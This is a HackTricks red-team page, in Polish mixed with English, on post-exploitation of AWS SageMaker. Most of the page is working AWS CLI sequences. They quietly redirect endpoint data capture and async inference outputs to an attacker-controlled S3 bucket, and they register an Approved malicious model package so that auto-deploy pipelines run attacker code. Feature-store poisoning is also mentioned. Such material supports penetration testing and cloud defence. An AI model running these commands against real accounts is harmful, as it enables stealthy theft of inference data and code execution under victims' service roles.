AWS - SageMaker Post-Exploitation

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks

SageMaker endpoint data siphon via UpdateEndpoint DataCaptureConfig

Wykorzystaj zarządzanie SageMaker endpoint, aby umożliwić pełne przechwytywanie request/response do attacker‑controlled S3 bucket bez modyfikowania modelu ani container. Wykorzystuje zero/low‑downtime rolling update i wymaga tylko endpoint management permissions.

Wymagania

  • IAM: sagemaker:DescribeEndpoint, sagemaker:DescribeEndpointConfig, sagemaker:CreateEndpointConfig, sagemaker:UpdateEndpoint
  • S3: s3:CreateBucket (or use an existing bucket in the same account)
  • Opcjonalne (jeśli używasz SSE‑KMS): kms:Encrypt na wybranym CMK
  • Cel: Istniejący InService real‑time endpoint w tym samym koncie/regionie

Kroki

  1. Zidentyfikuj InService endpoint i zbierz aktualne warianty produkcyjne
REGION=${REGION:-us-east-1}
EP=$(aws sagemaker list-endpoints --region $REGION --query "Endpoints[?EndpointStatus=='InService']|[0].EndpointName" --output text)
echo "Endpoint=$EP"
CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --query EndpointConfigName --output text)
echo "EndpointConfig=$CFG"
aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CFG" --query ProductionVariants > /tmp/pv.json
  1. Przygotuj attacker S3 jako miejsce docelowe dla przechwytywań
ACC=$(aws sts get-caller-identity --query Account --output text)
BUCKET=ht-sm-capture-$ACC-$(date +%s)
aws s3 mb s3://$BUCKET --region $REGION
  1. Utwórz nowy EndpointConfig, który zachowa te same warianty, ale włączy DataCapture do attacker bucket

Uwaga: Użyj jawnych typów treści, które spełniają walidację CLI.

NEWCFG=${CFG}-dc
cat > /tmp/dc.json << JSON
{
"EnableCapture": true,
"InitialSamplingPercentage": 100,
"DestinationS3Uri": "s3://$BUCKET/capture",
"CaptureOptions": [
{"CaptureMode": "Input"},
{"CaptureMode": "Output"}
],
"CaptureContentTypeHeader": {
"JsonContentTypes": ["application/json"],
"CsvContentTypes": ["text/csv"]
}
}
JSON
aws sagemaker create-endpoint-config \
--region $REGION \
--endpoint-config-name "$NEWCFG" \
--production-variants file:///tmp/pv.json \
--data-capture-config file:///tmp/dc.json
  1. Zastosuj nową konfigurację za pomocą rolling update (minimal/no downtime)
aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG"
aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP"
  1. Wygeneruj co najmniej jedno wywołanie inferencji (opcjonalne, jeśli jest ruch na żywo)
echo '{"inputs":[1,2,3]}' > /tmp/payload.json
aws sagemaker-runtime invoke-endpoint --region $REGION --endpoint-name "$EP" \
--content-type application/json --accept application/json \
--body fileb:///tmp/payload.json /tmp/out.bin || true
  1. Zweryfikuj captures w attacker S3
aws s3 ls s3://$BUCKET/capture/ --recursive --human-readable --summarize

Wpływ

  • Pełna eksfiltracja real‑time inference request i response payloads (oraz metadanych) z docelowego endpointu do kontrolowanego przez atakującego S3 bucket.
  • Brak zmian w model/container image i jedynie endpoint‑level changes, co umożliwia stealthy ścieżkę kradzieży danych przy minimalnym zakłóceniu operacyjnym.

SageMaker async inference output hijack przez UpdateEndpoint AsyncInferenceConfig

Wykorzystaj endpoint management, aby przekierować asynchronous inference outputs do kontrolowanego przez atakującego S3 bucket poprzez sklonowanie bieżącego EndpointConfig i ustawienie AsyncInferenceConfig.OutputConfig S3OutputPath/S3FailurePath. To exfiltrates model predictions (i wszelkie transformed inputs zawarte przez container) bez modyfikowania model/container.

Wymagania

  • IAM: sagemaker:DescribeEndpoint, sagemaker:DescribeEndpointConfig, sagemaker:CreateEndpointConfig, sagemaker:UpdateEndpoint
  • S3: Możliwość zapisu do kontrolowanego przez atakującego S3 bucket (via the model execution role or a permissive bucket policy)
  • Target: An InService endpoint gdzie asynchronous invocations są (lub będą) używane

Kroki

  1. Zbierz current ProductionVariants z docelowego endpointu
REGION=${REGION:-us-east-1}
EP=<target-endpoint-name>
CUR_CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --query EndpointConfigName --output text)
aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CUR_CFG" --query ProductionVariants > /tmp/pv.json
  1. Utwórz attacker bucket (upewnij się, że model execution role może wykonać PutObject do niego)
ACC=$(aws sts get-caller-identity --query Account --output text)
BUCKET=ht-sm-async-exfil-$ACC-$(date +%s)
aws s3 mb s3://$BUCKET --region $REGION || true
  1. Sklonuj EndpointConfig i hijack outputs AsyncInference do attacker bucket
NEWCFG=${CUR_CFG}-async-exfil
cat > /tmp/async_cfg.json << JSON
{"OutputConfig": {"S3OutputPath": "s3://$BUCKET/async-out/", "S3FailurePath": "s3://$BUCKET/async-fail/"}}
JSON
aws sagemaker create-endpoint-config --region $REGION   --endpoint-config-name "$NEWCFG"   --production-variants file:///tmp/pv.json   --async-inference-config file:///tmp/async_cfg.json
aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG"
aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP"
  1. Wywołaj asynchroniczne wywołanie i zweryfikuj, że obiekty lądują w S3 atakującego
aws s3 cp /etc/hosts s3://$BUCKET/inp.bin
aws sagemaker-runtime invoke-endpoint-async --region $REGION --endpoint-name "$EP" --input-location s3://$BUCKET/inp.bin >/tmp/async.json || true
sleep 30
aws s3 ls s3://$BUCKET/async-out/ --recursive || true
aws s3 ls s3://$BUCKET/async-fail/ --recursive || true

Wpływ

  • Przekierowuje asynchroniczne wyniki inferencji (oraz treści błędów) do S3 kontrolowanego przez atakującego, umożliwiając potajną eksfiltrację predykcji oraz potencjalnie wrażliwych danych wejściowych przed/po przetworzeniu generowanych przez kontener, bez zmiany kodu modelu ani obrazu i przy minimalnym lub żadnym czasie przestoju.

SageMaker Model Registry supply-chain injection via CreateModelPackage(Approved)

Jeśli atakujący może wywołać CreateModelPackage na docelowym SageMaker Model Package Group, może zarejestrować nową wersję modelu wskazującą na obraz kontenera kontrolowany przez atakującego i natychmiast oznaczyć ją jako Approved. Wiele potoków CI/CD automatycznie wdraża wersje modeli oznaczone jako Approved do endpoints lub training jobs, co skutkuje wykonaniem kodu atakującego w kontekście ról wykonawczych usługi. Ekspozycję międzykontową można wzmocnić poprzez permisywną politykę zasobu ModelPackageGroup.

Wymagania

  • IAM (minimum, aby zatruć istniejącą grupę): sagemaker:CreateModelPackage na docelowym ModelPackageGroup
  • Opcjonalne (do utworzenia grupy, jeśli nie istnieje): sagemaker:CreateModelPackageGroup
  • S3: dostęp do odczytu do odwołanego ModelDataUrl (lub hostowanie artefaktów kontrolowanych przez atakującego)
  • Cel: Model Package Group, którą downstream automation obserwuje pod kątem wersji Approved

Kroki

  1. Ustaw region i utwórz/znajdź docelowy Model Package Group
REGION=${REGION:-us-east-1}
MPG=victim-group-$(date +%s)
aws sagemaker create-model-package-group --region $REGION --model-package-group-name $MPG --model-package-group-description "test group"
  1. Przygotuj przykładowe dane modelu w S3
ACC=$(aws sts get-caller-identity --query Account --output text)
BUCKET=ht-sm-mpkg-$ACC-$(date +%s)
aws s3 mb s3://$BUCKET --region $REGION
head -c 1024 </dev/urandom > /tmp/model.tar.gz
aws s3 cp /tmp/model.tar.gz s3://$BUCKET/model/model.tar.gz --region $REGION
  1. Zarejestruj złośliwą (tutaj nieszkodliwą) Approved model package version odwołującą się do publicznego obrazu AWS DLC
IMG="683313688378.dkr.ecr.$REGION.amazonaws.com/sagemaker-scikit-learn:1.2-1-cpu-py3"
cat > /tmp/inf.json << JSON
{
"Containers": [
{
"Image": "$IMG",
"ModelDataUrl": "s3://$BUCKET/model/model.tar.gz"
}
],
"SupportedContentTypes": ["text/csv"],
"SupportedResponseMIMETypes": ["text/csv"]
}
JSON
aws sagemaker create-model-package --region $REGION   --model-package-group-name $MPG   --model-approval-status Approved   --inference-specification file:///tmp/inf.json
  1. Zweryfikuj, że nowa zatwierdzona wersja istnieje
aws sagemaker list-model-packages --region $REGION --model-package-group-name $MPG --output table

Wpływ

  • Poison the Model Registry with an Approved version that references attacker-controlled code. Pipelines that auto-deploy Approved models may pull and run the attacker image, yielding code execution under endpoint/training roles.
  • Przy permisywnej ModelPackageGroup resource policy (PutModelPackageGroupPolicy), to nadużycie może być wywołane cross-account.

Feature store poisoning

Wykorzystaj sagemaker:PutRecord na Feature Group z włączonym OnlineStore, aby nadpisać wartości cech na żywo wykorzystywane przez online inference. W połączeniu z sagemaker:GetRecord, attacker może odczytać sensitive features. To nie wymaga dostępu do models ani endpoints.

{{#ref}} feature-store-poisoning.md {{/ref}}

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks